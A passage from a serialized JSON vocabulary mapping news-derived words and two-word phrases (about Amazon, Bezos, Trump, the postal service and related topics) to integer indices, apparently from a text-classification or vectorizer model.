sent\": 217473,\n  \"illinoisan janis\": 217474,\n  \"mediabuzz mollie\": 217475,\n  \"par\": 217476,\n  \"amazon investments\": 217477,\n  \"quirky merchandise\": 217478,\n  \"needs union\": 217479,\n  \"archuleta\": 217480,\n  \"cuomo lamented\": 217481,\n  \"fedex counter\": 217482,\n  \"displaced students\": 217483,\n  \"vibrant competitive\": 217484,\n  \"story kevin\": 217485,\n  \"paris\": 217486,\n  \"better sam\": 217487,\n  \"announcement federal\": 217488,\n  \"humanity especially\": 217489,\n  \"developed bad\": 217490,\n  \"rarely aid\": 217491,\n  \"jon thank\": 217492,\n  \"unborn\": 217493,\n  \"unknown eta\": 217494,\n  \"17009396 salisbury\": 217495,\n  \"don regulate\": 217496,\n  \"100 price\": 217497,\n  \"debts incurred\": 217498,\n  \"lisa\": 217499,\n  \"pelosi remarks\": 217500,\n  \"elective course\": 217501,\n  \"dodging\": 217502,\n  \"826 700\": 217503,\n  \"entire chapter\": 217504,\n  \"hq invasion\": 217505,\n  \"cried\": 217506,\n  \"bankrupt team\": 217507,\n  \"seconds ago\": 217508,\n  \"enthusiasts amounted\": 217509,\n  \"open class\": 217510,\n  \"reality socialist\": 217511,\n  \"inflexible legislatively\": 217512,\n  \"general insurance\": 217513,\n  \"lake\": 217514,\n  \"amazon ads\": 217515,\n  \"teamsters\": 217516,\n  \"usa look\": 217517,\n  \"restructure\": 217518,\n  \"kavanaugh confirmation\": 217519,\n  \"america say\": 217520,\n  \"kick starts\": 217521,\n  \"chads\": 217522,\n  \"parking west\": 217523,\n  \"censorship category\": 217524,\n  \"gold market\": 217525,\n  \"importing killed\": 217526,\n  \"survivor\": 217527,\n  \"breweries\": 217528,\n  \"tuned\": 217529,\n  \"minimum salary\": 217530,\n  \"printed textual\": 217531,\n  \"pagevis isdocumentvisible\": 217532,\n  \"carried large\": 217533,\n  \"schoolyard\": 217534,\n  \"fred armisen\": 217535,\n  \"firm backed\": 217536,\n  \"series photo\": 217537,\n  \"cockpit\": 217538,\n  \"investment opportunities\": 217539,\n  \"ratesal\": 217540,\n  \"area congressional\": 217541,\n  \"vocally opposed\": 217542,\n  \"institutional habit\": 217543,\n  \"clubs\": 217544,\n  \"effects number\": 217545,\n  \"marshall talking\": 217546,\n  \"msm developed\": 217547,\n  \"new new\": 217548,\n  \"seen amazon\": 217549,\n  \"mcbride told\": 217550,\n  \"depositphotos\": 217551,\n  \"war chest\": 217552,\n  \"black eyes\": 217553,\n  \"posterity\": 217554,\n  \"mcdowell yes\": 217555,\n  \"brutal heat\": 217556,\n  \"cyber hacks\": 217557,\n  \"service making\": 217558,\n  \"ignition\": 217559,\n  \"appears news\": 217560,\n  \"day political\": 217561,\n  \"conservatives primary\": 217562,\n  \"shelving\": 217563,\n  \"nationally organized\": 217564,\n  \"tests store\": 217565,\n  \"dip\": 217566,\n  \"specific issue\": 217567,\n  \"forth especially\": 217568,\n  \"stated based\": 217569,\n  \"asked dave\": 217570,\n  \"2016 netflix\": 217571,\n  \"workers enjoyed\": 217572,\n  \"software companies\": 217573,\n  \"videodurationdivid js\": 217574,\n  \"time wrote\": 217575,\n  \"email national\": 217576,\n  \"o1 urihe7ofy043r\": 217577,\n  \"erections\": 217578,\n  \"daughter 100\": 217579,\n  \"enterprise defence\": 217580,\n  \"competitive behaviour\": 217581,\n  \"announced today\": 217582,\n  \"repeated twitter\": 217583,\n  \"surround closs\": 217584,\n  \"wish lists\": 217585,\n  \"checking trumps\": 217586,\n  \"resume trade\": 217587,\n  \"pointed line\": 217588,\n  \"senate real\": 217589,\n  \"georgia native\": 217590,\n  \"explores\": 217591,\n  \"sanders steps\": 217592,\n  \"obligatory story\": 217593,\n  \"interior employee\": 217594,\n  \"astoria speaks\": 217595,\n  \"monolith\": 217596,\n  \"residential homes\": 217597,\n  \"cref inv\": 217598,\n  \"payments includes\": 217599,\n  \"television digital\": 217600,\n  \"quickly betrayed\": 217601,\n  \"secretary alexander\": 217602,\n  \"aliens chick\": 217603,\n  \"irreversibly changing\": 217604,\n  \"bachelor mean\": 217605,\n  \"suely\": 217606,\n  \"philippe bourguignon\": 217607,\n  \"explicitly encourage\": 217608,\n  \"delivery packages\": 217609,\n  \"emeritus professor\": 217610,\n  \"stop watching\": 217611,\n  \"xiaomi leading\": 217612,\n  \"societies says\": 217613,\n  \"magnifying glass\": 217614,\n  \"jeff continues\": 217615,\n  \"indianapolis americans\": 217616,\n  \"preorders opened\": 217617,\n  \"nasty revelations\": 217618,\n  \"progressive critics\": 217619,\n  \"192\": 217620,\n  \"tech billionaires\": 217621,\n  \"piece titled\": 217622,\n  \"accountability office\": 217623,\n  \"pulde\": 217624,\n  \"2100\": 217625,\n  \"avalon bay\": 217626,\n  \"country\": 217627,\n  \"newspapers facebook\": 217628,\n  \"reliable detections\": 217629,\n  \"forth today\": 217630,\n  \"bitcoin mining\": 217631,\n  \"independent postal\": 217632,\n  \"started climbing\": 217633,\n  \"public letters\": 217634,\n  \"war veterans\": 217635,\n  \"retire heres\": 217636,\n  \"sign contracts\": 217637,\n  \"deemed inappropriate\": 217638,\n  \"cutting military\": 217639,\n  \"tweets shares\": 217640,\n  \"roku\": 217641,\n  \"leader told\": 217642,\n  \"recently opined\": 217643,\n  \"authority residents\": 217644,\n  \"blast amazon\": 217645,\n  \"dargis list\": 217646,\n  \"tooall\": 217647,\n  \"complaints union\": 217648,\n  \"ad businesses\": 217649,\n  \"congress failure\": 217650,\n  \"creole financial\": 217651,\n  \"academy netflix\": 217652,\n  \"unfounded theory\": 217653,\n  \"columbia housing\": 217654,\n  \"time 000\": 217655,\n  \"somebody leg\": 217656,\n  \"worklife\": 217657,\n  \"edelson\": 217658,\n  \"photograph nicholas\": 217659,\n  \"infamous idiq\": 217660,\n  \"sure voice\": 217661,\n  \"russian investigation\": 217662,\n  \"bezos howard\": 217663,\n  \"whatsapp account\": 217664,\n  \"thiel brought\": 217665,\n  \"reality ar\": 217666,\n  \"gal kavanaugh\": 217667,\n  \"false hope\": 217668,\n  \"watch learning\": 217669,\n  \"slightly\": 217670,\n  \"uber jack\": 217671,\n  \"trump feelings\": 217672,\n  \"pool photo\": 217673,\n  \"politically neutral\": 217674,\n  \"scrutiny given\": 217675,\n  \"homes jeff\": 217676,\n  \"entail\": 217677,\n  \"earns billions\": 217678,\n  \"new list\": 217679,\n  \"100 local\": 217680,\n  \"exploited flaws\": 217681,\n  \"deliberate shadow\": 217682,\n  \"patrick job\": 217683,\n  \"cogs\": 217684,\n  \"international space\": 217685,\n  \"hq oscars\": 217686,\n  \"near anthology\": 217687,\n  \"salla palos\": 217688,\n  \"tb alternative\": 217689,\n  \"market leverage\": 217690,\n  \"owen cliff\": 217691,\n  \"2020 message\": 217692,\n  \"compromising impact\": 217693,\n  \"attractive candidate\": 217694,\n  \"cruncher\": 217695,\n  \"age groups\": 217696,\n  \"buy books\": 217697,\n  \"new west\": 217698,\n  \"column does\": 217699,\n  \"glencore oil\": 217700,\n  \"pointy\": 217701,\n  \"envious governments\": 217702,\n  \"filed earlier\": 217703,\n  \"care industries\": 217704,\n  \"corp current\": 217705,\n  \"reportedly observed\": 217706,\n  \"amazon reporting\": 217707,\n  \"dawsey brennan\": 217708,\n  \"far larger\": 217709,\n  \"sethmpk\": 217710,\n  \"programs aimed\": 217711,\n  \"home nyse\": 217712,\n  \"alcoholic\": 217713,\n  \"party chairman\": 217714,\n  \"groups voicing\": 217715,\n  \"responded cheekily\": 217716,\n  \"place roig\": 217717,\n  \"shocked city\": 217718,\n  \"elementary school\": 217719,\n  \"systemic norms\": 217720,\n  \"amazon caves\": 217721,\n  \"based accelerated\": 217722,\n  \"wing candidate\": 217723,\n  \"nov shares\": 217724,\n  \"company peak\": 217725,\n  \"rstevenson15 bloomberg\": 217726,\n  \"higher marginal\": 217727,\n  \"economy doldrums\": 217728,\n  \"rean\": 217729,\n  \"explicitly partisan\": 217730,\n  \"prominent new\": 217731,\n  \"public united\": 217732,\n  \"elderly\": 217733,\n  \"giant crony\": 217734,\n  \"comment yesterday\": 217735,\n  \"way including\": 217736,\n  \"chairman ryan\": 217737,\n  \"whistling past\": 217738,\n  \"shelved\": 217739,\n  \"mocking ford\": 217740,\n  \"suffers service\": 217741,\n  \"quickly discounted\": 217742,\n  \"campaign connect\": 217743,\n  \"cruze decision\": 217744,\n  \"dormant democrat\": 217745,\n  \"housing complaint\": 217746,\n  \"grinds foods\": 217747,\n  \"mardi gras\": 217748,\n  \"hill morning\": 217749,\n  \"sales underwhelm\": 217750,\n  \"ustr aafa\": 217751,\n  \"supporters scarborough\": 217752,\n  \"lawsuit vermont\": 217753,\n  \"alibaba having\": 217754,\n  \"help tackle\": 217755,\n  \"second son\": 217756,\n  \"web\": 217757,\n  \"outspoken opponents\": 217758,\n  \"sandringham generally\": 217759,\n  \"dark tower\": 217760,\n  \"ibm oracle\": 217761,\n  \"waisted\": 217762,\n  \"briefly crosses\": 217763,\n  \"universal postal\": 217764,\n  \"simply provides\": 217765,\n  \"nuptial agreements\": 217766,\n  \"223 000\": 217767,\n  \"goods economists\": 217768,\n  \"sanchez allegedly\": 217769,\n  \"lima\": 217770,\n  \"subtle monopoly\": 217771,\n  \"necessarily doom\": 217772,\n  \"citizenship\": 217773,\n  \"lightrocket\": 217774,\n  \"sanctions republican\": 217775,\n  \"pbms\": 217776,\n  \"captioned\": 217777,\n  \"entertainment programming\": 217778,\n  \"developing story\": 217779,\n  \"cardcontents\": 217780,\n  \"liberal justices\": 217781,\n  \"history greatest\": 217782,\n  \"wouldn reveal\": 217783,\n  \"pinnacle\": 217784,\n  \"johnson wants\": 217785,\n  \"wing group\": 217786,\n  \"anassistant\": 217787,\n  \"new electric\": 217788,\n  \"hatch argues\": 217789,\n  \"embrace partnerships\": 217790,\n  \"private space\": 217791,\n  \"providing deductions\": 217792,\n  \"criminalize\": 217793,\n  \"surveil users\": 217794,\n  \"vanessa herrero\": 217795,\n  \"mexico headlines\": 217796,\n  \"rate cuts\": 217797,\n  \"pharmaceutical giants\": 217798,\n  \"automated systems\": 217799,\n  \"individualism begins\": 217800,\n  \"conman just\": 217801,\n  \"big kahuna\": 217802,\n  \"galloway writes\": 217803,\n  \"possible today\": 217804,\n  \"canadian retail\": 217805,\n  \"m8i\": 217806,\n  \"bit closed\": 217807,\n  \"modified viruses\": 217808,\n  \"day did\": 217809,\n  \"send message\": 217810,\n  \"virtually\": 217811,\n  \"long run\": 217812,\n  \"pentagon jedi\": 217813,\n  \"children bezos\": 217814,\n  \"sen liz\": 217815,\n  \"various parts\": 217816,\n  \"stated previously\": 217817,\n  \"mandated minimum\": 217818,\n  \"help communities\": 217819,\n  \"alert turn\": 217820,\n  \"acn nyse\": 217821,\n  \"duck races\": 217822,\n  \"jaime\": 217823,\n  \"reuters shannon\": 217824,\n  \"sensible economics\": 217825,\n  \"challenges mody\": 217826,\n  \"surveillance network\": 217827,\n  \"items representing\": 217828,\n  \"tells congress\": 217829,\n  \"targeting communities\": 217830,\n  \"hitting amazon\": 217831,\n  \"robbie\": 217832,\n  \"offer high\": 217833,\n  \"chase berkshire\": 217834,\n  \"median income\": 217835,\n  \"merchants inexpensively\": 217836,\n  \"fedex closing\": 217837,\n  \"problem repeatedly\": 217838,\n  \"playstation nintendo\": 217839,\n  \"recently just\": 217840,\n  \"duncan hunter\": 217841,\n  \"exceeding analysts\": 217842,\n  \"sentence caught\": 217843,\n  \"investor pessimism\": 217844,\n  \"tag oppo\": 217845,\n  \"executive told\": 217846,\n  \"hunt\": 217847,\n  \"given bezos\": 217848,\n  \"tullier visa\": 217849,\n  \"boy erased\": 217850,\n  \"says easley\": 217851,\n  \"length 29348\": 217852,\n  \"euro mkts\": 217853,\n  \"483 810\": 217854,\n  \"sl\\u00f8k added\": 217855,\n  \"gotham\": 217856,\n  \"garnered\": 217857,\n  \"buys stories\": 217858,\n  \"box doesn\": 217859,\n  \"virgin galactic\": 217860,\n  \"urgently needed\": 217861,\n  \"body simple\": 217862,\n  \"sins spreading\": 217863,\n  \"ad paints\": 217864,\n  \"rose apple\": 217865,\n  \"adopt amazon\": 217866,\n  \"communique\": 217867,\n  \"billion 214\": 217868,\n  \"political blackmail\": 217869,\n  \"ad promotes\": 217870,\n  \"admired employer\": 217871,\n  \"activities including\": 217872,\n  \"squarely\": 217873,\n  \"margins improvement\": 217874,\n  \"reads florida\": 217875,\n  \"california private\": 217876,\n  \"planetary carnage\": 217877,\n  \"overdose using\": 217878,\n  \"deeper problem\": 217879,\n  \"overbuilt\": 217880,\n  \"fing world\": 217881,\n  \"pastry fundamentals\": 217882,\n  \"adversarial relationship\": 217883,\n  \"house likewise\": 217884,\n  \"wnyc commitment\": 217885,\n  \"store signage\": 217886,\n  \"seller pillpack\": 217887,\n  \"morrisey\": 217888,\n  \"want fair\": 217889,\n  \"attended meeting\": 217890,\n  \"target price\": 217891,\n  \"claimed amazon\": 217892,\n  \"foods told\": 217893,\n  \"wealthy political\": 217894,\n  \"adults\": 217895,\n  \"galloway new\": 217896,\n  \"perils rooted\": 217897,\n  \"sanders fired\": 217898,\n  \"grocery budgets\": 217899,\n  \"trump equates\": 217900,\n  \"looks kind\": 217901,\n  \"usa pageant\": 217902,\n  \"heroism\": 217903,\n  \"editor notes\": 217904,\n  \"big company\": 217905,\n  \"injecting poison\": 217906,\n  \"nears victory\": 217907,\n  \"new border\": 217908,\n  \"design modifications\": 217909,\n  \"man pocket\": 217910,\n  \"t000002537\": 217911,\n  \"ebay amazon\": 217912,\n  \"killer free\": 217913,\n  \"em fx\": 217914,\n  \"suharto indonesia\": 217915,\n  \"biggest boom\": 217916,\n  \"hong kong\": 217917,\n  \"political causes\": 217918,\n  \"results weigh\": 217919,\n  \"bartiromo yes\": 217920,\n  \"lambasted\": 217921,\n  \"disavowing\": 217922,\n  \"republican backed\": 217923,\n  \"creative methodologies\": 217924,\n  \"economic fundamentals\": 217925,\n  \"recently examined\": 217926,\n  \"study consumers\": 217927,\n  \"shipping rates\": 217928,\n  \"rising love\": 217929,\n  \"2019 bezos\": 217930,\n  \"amazon disclaimer\": 217931,\n  \"donna zamonski\": 217932,\n  \"smash facebook\": 217933,\n  \"debot\": 217934,\n  \"amazon spokesman\": 217935,\n  \"investigations morph\": 217936,\n  \"diligence\": 217937,\n  \"actually sell\": 217938,\n  \"giant 2018\": 217939,\n  \"js bezos\": 217940,\n  \"closest allies\": 217941,\n  \"process maintain\": 217942,\n  \"wrangle excess\": 217943,\n  \"nation 400\": 217944,\n  \"action peter\": 217945,\n  \"33m\": 217946,\n  \"street named\": 217947,\n  \"friedman\": 217948,\n  \"owners rodriguez\": 217949,\n  \"crew red\": 217950,\n  \"department cited\": 217951,\n  \"hiring competition\": 217952,\n  \"2017 yang\": 217953,\n  \"growth verticals\": 217954,\n  \"741\": 217955,\n  \"high street\": 217956,\n  \"added signaling\": 217957,\n  \"mayor jenny\": 217958,\n  \"amazon massages\": 217959,\n  \"obtained illegally\": 217960,\n  \"amazon representatives\": 217961,\n  \"8th annual\": 217962,\n  \"similar idea\": 217963,\n  \"additional barriers\": 217964,\n  \"miljard\": 217965,\n  \"department task\": 217966,\n  \"deep discounts\": 217967,\n  \"force commissioned\": 217968,\n  \"having sole\": 217969,\n  \"resources\": 217970,\n  \"improvements unveiled\": 217971,\n  \"malice\": 217972,\n  \"tblack\": 217973,\n  \"playing\": 217974,\n  \"met ivana\": 217975,\n  \"amrith\": 217976,\n  \"taliban peace\": 217977,\n  \"brands selling\": 217978,\n  \"year poverty\": 217979,\n  \"carpet presence\": 217980,\n  \"radically hike\": 217981,\n  \"trenchcoat\": 217982,\n  \"officialsin\": 217983,\n  \"wrongful\": 217984,\n  \"interrupt\": 217985,\n  \"people stop\": 217986,\n  \"submitted\": 217987,\n  \"blowout\": 217988,\n  \"seritage charges\": 217989,\n  \"ctrn\": 217990,\n  \"lower keys\": 217991,\n  \"economic studies\": 217992,\n  \"evelyn nieves\": 217993,\n  \"document fsu\": 217994,\n  \"did walmart\": 217995,\n  \"cornwall\": 217996,\n  \"sforden bloomberg\": 217997,\n  \"gulags\": 217998,\n  \"leaked naked\": 217999,\n  \"coltin jccoltin\": 218000,\n  \"tensions escalate\": 218001,\n  \"750 americans\": 218002,\n  \"cronk president\": 218003,\n  \"extends\": 218004,\n  \"veterans start\": 218005,\n  \"amazon finances\": 218006,\n  \"news talking\": 218007,\n  \"lid\": 218008,\n  \"legislator\": 218009,\n  \"provide infotainment\": 218010,\n  \"claire kowalick\": 218011,\n  \"nfl ratings\": 218012,\n  \"rhetoric used\": 218013,\n  \"twitter tax\": 218014,\n  \"examine packages\": 218015,\n  \"spacious\": 218016,\n  \"antagonizes\": 218017,\n  \"month supreme\": 218018,\n  \"list sound\": 218019,\n  \"expressed willingness\": 218020,\n  \"cuomo celebrated\": 218021,\n  \"working just\": 218022,\n  \"counted slowly\": 218023,\n  \"17802566 president\": 218024,\n  \"body workers\": 218025,\n  \"ip greg_ip\": 218026,\n  \"pushed past\": 218027,\n  \"drug smuggler\": 218028,\n  \"niallstanage\": 218029,\n  \"addclass video__end\": 218030,\n  \"whenthey say\": 218031,\n  \"european governments\": 218032,\n  \"week according\": 218033,\n  \"\\u014263\": 218034,\n  \"bezos reproduction\": 218035,\n  \"betty branham\": 218036,\n  \"president corporation\": 218037,\n  \"stock overall\": 218038,\n  \"mahaley\": 218039,\n  \"racial origin\": 218040,\n  \"government gigs\": 218041,\n  \"ordering attorney\": 218042,\n  \"osteen\": 218043,\n  \"margin\": 218044,\n  \"underwear wag\": 218045,\n  \"cnn town\": 218046,\n  \"heres president\": 218047,\n  \"visited louisiana\": 218048,\n  \"operates number\": 218049,\n  \"farout music\": 218050,\n  \"say seema\": 218051,\n  \"staggering increase\": 218052,\n  \"senate environment\": 218053,\n  \"instillations\": 218054,\n  \"mckenzie shaunmckenzie86\": 218055,\n  \"decade native\": 218056,\n  \"coffee taste\": 218057,\n  \"blackburnmarsha blackburntrump\": 218058,\n  \"decidedly takes\": 218059,\n  \"positional data\": 218060,\n  \"convictions\": 218061,\n  \"kicker\": 218062,\n  \"tm decision\": 218063,\n  \"tonight day\": 218064,\n  \"state supreme\": 218065,\n  \"laughable\": 218066,\n  \"members believe\": 218067,\n  \"permit shoppers\": 218068,\n  \"3614 bought\": 218069,\n  \"passersby\": 218070,\n  \"shows surging\": 218071,\n  \"rising labor\": 218072,\n  \"hardships\": 218073,\n  \"2017 notably\": 218074,\n  \"amazon center\": 218075,\n  \"irritated\": 218076,\n  \"cigarette smoke\": 218077,\n  \"frills airline\": 218078,\n  \"president animus\": 218079,\n  \"criticises\": 218080,\n  \"human conversation\": 218081,\n  \"good way\": 218082,\n  \"denver uber\": 218083,\n  \"sales topping\": 218084,\n  \"coming gdp\": 218085,\n  \"lines trump\": 218086,\n  \"possible outcome\": 218087,\n  \"force led\": 218088,\n  \"lower numbers\": 218089,\n  \"racist immigration\": 218090,\n  \"overseen\": 218091,\n  \"2095956267355712\": 218092,\n  \"united launch\": 218093,\n  \"practices strongly\": 218094,\n  \"union uranium\": 218095,\n  \"best initiative\": 218096,\n  \"morning claiming\": 218097,\n  \"monogram\": 218098,\n  \"kaola\": 218099,\n  \"650 alt\": 218100,\n  \"journal says\": 218101,\n  \"losses schiff\": 218102,\n  \"iqiyi\": 218103,\n  \"association takes\": 218104,\n  \"cid readmoretext_aut\": 218105,\n  \"social app\": 218106,\n  \"190 countries\": 218107,\n  \"congress hit\": 218108,\n  \"larcker\": 218109,\n  \"feng\": 218110,\n  \"users massive\": 218111,\n  \"taunt\": 218112,\n  \"actions according\": 218113,\n  \"giant intimidates\": 218114,\n  \"randal\": 218115,\n  \"weta washington\": 218116,\n  \"toronto follow\": 218117,\n  \"16th birthday\": 218118,\n  \"ftc actually\": 218119,\n  \"press trump\": 218120,\n  \"release records\": 218121,\n  \"photo review\": 218122,\n  \"alibaba created\": 218123,\n  \"delivered fewer\": 218124,\n  \"sietsema eater\": 218125,\n  \"enlarged\": 218126,\n  \"deal carell\": 218127,\n  \"bread\": 218128,\n  \"sp\": 218129,\n  \"2018 patents\": 218130,\n  \"abuse power\": 218131,\n  \"economic superpowers\": 218132,\n  \"handcrafted\": 218133,\n  \"clima\": 218134,\n  \"waking\": 218135,\n  \"billion bid\": 218136,\n  \"suppressing diversity\": 218137,\n  \"ami deputy\": 218138,\n  \"price cuts\": 218139,\n  \"mcnew cuts\": 218140,\n  \"taps aws\": 218141,\n  \"services programs\": 218142,\n  \"bizarrely\": 218143,\n  \"tariff plans\": 218144,\n  \"founder sam\": 218145,\n  \"times letters\": 218146,\n  \"amazon travel\": 218147,\n  \"shannon reed\": 218148,\n  \"potential near\": 218149,\n  \"story shameful\": 218150,\n  \"grinning\": 218151,\n  \"giuliani admitted\": 218152,\n  \"term volatility\": 218153,\n  \"actual amazon\": 218154,\n  \"peek yes\": 218155,\n  \"public disclosure\": 218156,\n  \"bear wants\": 218157,\n  \"philipps\": 218158,\n  \"indirect benefits\": 218159,\n  \"nonbinary\": 218160,\n  \"wished\": 218161,\n  \"prime ecosystem\": 218162,\n  \"covert\": 218163,\n  \"adi robertson\": 218164,\n  \"low contrast\": 218165,\n  \"industry began\": 218166,\n  \"land conflict\": 218167,\n  \"lousy pay\": 218168,\n  \"years inventing\": 218169,\n  \"whor helped\": 218170,\n  \"remediation antitrust\": 218171,\n  \"low tax\": 218172,\n  \"starbucks coca\": 218173,\n  \"taking tour\": 218174,\n  \"prove troublesome\": 218175,\n  \"directed usps\": 218176,\n  \"edelman\": 218177,\n  \"open market\": 218178,\n  \"principled position\": 218179,\n  \"ventured inside\": 218180,\n  \"true leadership\": 218181,\n  \"think feel\": 218182,\n  \"country mcmillon\": 218183,\n  \"strapped usps\": 218184,\n  \"q1 card\": 218185,\n  \"orleans issued\": 218186,\n  \"president office\": 218187,\n  \"spousal\": 218188,\n  \"central line\": 218189,\n  \"year flu\": 218190,\n  \"crazies\": 218191,\n  \"choosing judge\": 218192,\n  \"nasdaq intc\": 218193,\n  \"epic provisions\": 218194,\n  \"giant working\": 218195,\n  \"man bully\": 218196,\n  \"mulholland books\": 218197,\n  \"sandos5\": 218198,\n  \"multiples\": 218199,\n  \"sure feel\": 218200,\n  \"generals london\": 218201,\n  \"public taxpayer\": 218202,\n  \"took actions\": 218203,\n  \"caveats functionally\": 218204,\n  \"president ig\": 218205,\n  \"code book\": 218206,\n  \"saddened\": 218207,\n  \"m0 __proto__\": 218208,\n  \"chaotic environment\": 218209,\n  \"impeaching trump\": 218210,\n  \"profitable ars\": 218211,\n  \"cell booster\": 218212,\n  \"000 titles\": 218213,\n  \"online treasury\": 218214,\n  \"clearly won\": 218215,\n  \"bucket listthe\": 218216,\n  \"handle fine\": 218217,\n  \"possible price\": 218218,\n  \"war commentary\": 218219,\n  \"road development\": 218220,\n  \"gentle tremor\": 218221,\n  \"business meeting\": 218222,\n  \"results hold\": 218223,\n  \"additionally\": 218224,\n  \"chain cyber\": 218225,\n  \"ideo tim\": 218226,\n  \"confidant roger\": 218227,\n  \"allegedly having\": 218228,\n  \"promote season\": 218229,\n  \"indigenous languages\": 218230,\n  \"marketwatch economic\": 218231,\n  \"prime programme\": 218232,\n  \"shoppers skip\": 218233,\n  \"reuters breakingviews\": 218234,\n  \"customized inside\": 218235,\n  \"rates start\": 218236,\n  \"grow stronger\": 218237,\n  \"foreign officials\": 218238,\n  \"enquirer investigating\": 218239,\n  \"cases drag\": 218240,\n  \"couldn work\": 218241,\n  \"nyc weighs\": 218242,\n  \"amazon stayed\": 218243,\n  \"large landowners\": 218244,\n  \"used dubious\": 218245,\n  \"upset win\": 218246,\n  \"healthcare direct\": 218247,\n  \"skimpy insurance\": 218248,\n  \"democratically\": 218249,\n  \"news fake\": 218250,\n  \"cohen convicted\": 218251,\n  \"paperback editions\": 218252,\n  \"insiders immediately\": 218253,\n  \"oscar mayer\": 218254,\n  \"scheduled usps\": 218255,\n  \"picks best\": 218256,\n  \"fulfilment\": 218257,\n  \"caesar wife\": 218258,\n  \"billionaire text\": 218259,\n  \"sourcing\": 218260,\n  \"thing faster\": 218261,\n  \"looking glass\": 218262,\n  \"believe losing\": 218263,\n  \"872 0001\": 218264,\n  \"visited number\": 218265,\n  \"huge successes\": 218266,\n  \"perv\": 218267,\n  \"ministers\": 218268,\n  \"230 million\": 218269,\n  \"shades\": 218270,\n  \"solid results\": 218271,\n  \"picture overvalued\": 218272,\n  \"border google\": 218273,\n  \"following hearings\": 218274,\n  \"weeks making\": 218275,\n  \"probably don\": 218276,\n  \"bezos acknowledges\": 218277,\n  \"1043et\": 218278,\n  \"highlighted warren\": 218279,\n  \"cryptocurrency exec\": 218280,\n  \"doom amazon\": 218281,\n  \"seismic\": 218282,\n  \"year outlook\": 218283,\n  \"amazon concerns\": 218284,\n  \"ggg historic\": 218285,\n  \"chain pret\": 218286,\n  \"delivery volume\": 218287,\n  \"mounting losses\": 218288,\n  \"desires looking\": 218289,\n  \"trumps threat\": 218290,\n  \"claims half\": 218291,\n  \"walmart investments\": 218292,\n  \"hunting lobby\": 218293,\n  \"large peter\": 218294,\n  \"nutter witch\": 218295,\n  \"later reread\": 218296,\n  \"cnnmoney seattle\": 218297,\n  \"socialists\": 218298,\n  \"sonia perez\": 218299,\n  \"criminal activities\": 218300,\n  \"infowars twitter\": 218301,\n  \"traps\": 218302,\n  \"aide met\": 218303,\n  \"exclusively saying\": 218304,\n  \"activists flanked\": 218305,\n  \"glucosinolate\": 218306,\n  \"sizable majority\": 218307,\n  \"seth macfarlane\": 218308,\n  \"ryan writes\": 218309,\n  \"value tech\": 218310,\n  \"arsenal drew\": 218311,\n  \"apec\": 218312,\n  \"critics believe\": 218313,\n  \"bezos interactions\": 218314,\n  \"science professor\": 218315,\n  \"oilpatch\": 218316,\n  \"talks proceed\": 218317,\n  \"price plus\": 218318,\n  \"us137 billion\": 218319,\n  \"life ohio\": 218320,\n  \"shree\": 218321,\n  \"growth bloomberg\": 218322,\n  \"vendor shop\": 218323,\n  \"text abramson\": 218324,\n  \"picture actually\": 218325,\n  \"t000138309\": 218326,\n  \"joshua green\": 218327,\n  \"alexa current\": 218328,\n  \"impactful\": 218329,\n  \"bichelmeyer\": 218330,\n  \"rebuttal\": 218331,\n  \"session post\": 218332,\n  \"opposing\": 218333,\n  \"implemented steel\": 218334,\n  \"customers eyes\": 218335,\n  \"complaining publicly\": 218336,\n  \"2018 snap\": 218337,\n  \"1195 bought\": 218338,\n  \"democrat govpredict\": 218339,\n  \"arm chips\": 218340,\n  \"distribution tentacles\": 218341,\n  \"woody allen\": 218342,\n  \"trump bush\": 218343,\n  \"took credit\": 218344,\n  \"illegality\": 218345,\n  \"trump attacked\": 218346,\n  \"mocking amazon\": 218347,\n  \"2017 saul\": 218348,\n  \"customers prompting\": 218349,\n  \"veterans credits\": 218350,\n  \"scrutiny generation\": 218351,\n  \"clips\": 218352,\n  \"rising rents\": 218353,\n  \"forthcoming white\": 218354,\n  \"domestic mail\": 218355,\n  \"cnnnext\": 218356,\n  \"timodc\": 218357,\n  \"gear amazon\": 218358,\n  \"vale\": 218359,\n  \"mcintyre\": 218360,\n  \"hold capitol\": 218361,\n  \"1620et\": 218362,\n  \"ai a4ee\": 218363,\n  \"hargrove russell\": 218364,\n  \"law change\": 218365,\n  \"followup abbi\": 218366,\n  \"cortez amazon\": 218367,\n  \"causes netflix\": 218368,\n  \"rivalry\": 218369,\n  \"successful modern\": 218370,\n  \"alongside jack\": 218371,\n  \"ranked higher\": 218372,\n  \"established task\": 218373,\n  \"story fact\": 218374,\n  \"status 980063581592047617\": 218375,\n  \"real video\": 218376,\n  \"offered loans\": 218377,\n  \"unclear identity\": 218378,\n  \"consistently underbid\": 218379,\n  \"amazon dumped\": 218380,\n  \"privatization clearly\": 218381,\n  \"500 higher\": 218382,\n  \"reuters irish\": 218383,\n  \"hro gala\": 218384,\n  \"empowered\": 218385,\n  \"radio new\": 218386,\n  \"supportive statements\": 218387,\n  \"major competitors\": 218388,\n  \"custom alt\": 218389,\n  \"traumatic stress\": 218390,\n  \"alexa virtual\": 218391,\n  \"favourite yorgos\": 218392,\n  \"policy charter\": 218393,\n  \"best sellers\": 218394,\n  \"economic empowerment\": 218395,\n  \"china resume\": 218396,\n  \"s0 ba\": 218397,\n  \"tracks updates\": 218398,\n  \"mobile ecosystem\": 218399,\n  \"coveted\": 218400,\n  \"changes trump\": 218401,\n  \"finds\": 218402,\n  \"ahead welcome\": 218403,\n  \"random house\": 218404,\n  \"china premier\": 218405,\n  \"wgn america\": 218406,\n  \"value topped\": 218407,\n  \"mighty google\": 218408,\n  \"house says\": 218409,\n  \"newsweek reports\": 218410,\n  \"petco bans\": 218411,\n  \"undeniably unpopular\": 218412,\n  \"deplorable work\": 218413,\n  \"led commerce\": 218414,\n  \"spike fed\": 218415,\n  \"titled apple\": 218416,\n  \"menacing concentration\": 218417,\n  \"senate told\": 218418,\n  \"markey office\": 218419,\n  \"packages won\": 218420,\n  \"nectarines\": 218421,\n  \"help noticing\": 218422,\n  \"spends upwards\": 218423,\n  \"bad justifying\": 218424,\n  \"mccabe looks\": 218425,\n  \"dark topics\": 218426,\n  \"new influence\": 218427,\n  \"stand divided\": 218428,\n  \"allegedly returned\": 218429,\n  \"union petition\": 218430,\n  \"kurtz book\": 218431,\n  \"locate amazon\": 218432,\n  \"reviewed\": 218433,\n  \"economical package\": 218434,\n  \"animal called\": 218435,\n  \"refers\": 218436,\n  \"legitimacy\": 218437,\n  \"haves\": 218438,\n  \"outfit mont\": 218439,\n  \"component cantillon\": 218440,\n  \"administration argues\": 218441,\n  \"defensive sector\": 218442,\n  \"jobs panelists\": 218443,\n  \"program trump\": 218444,\n  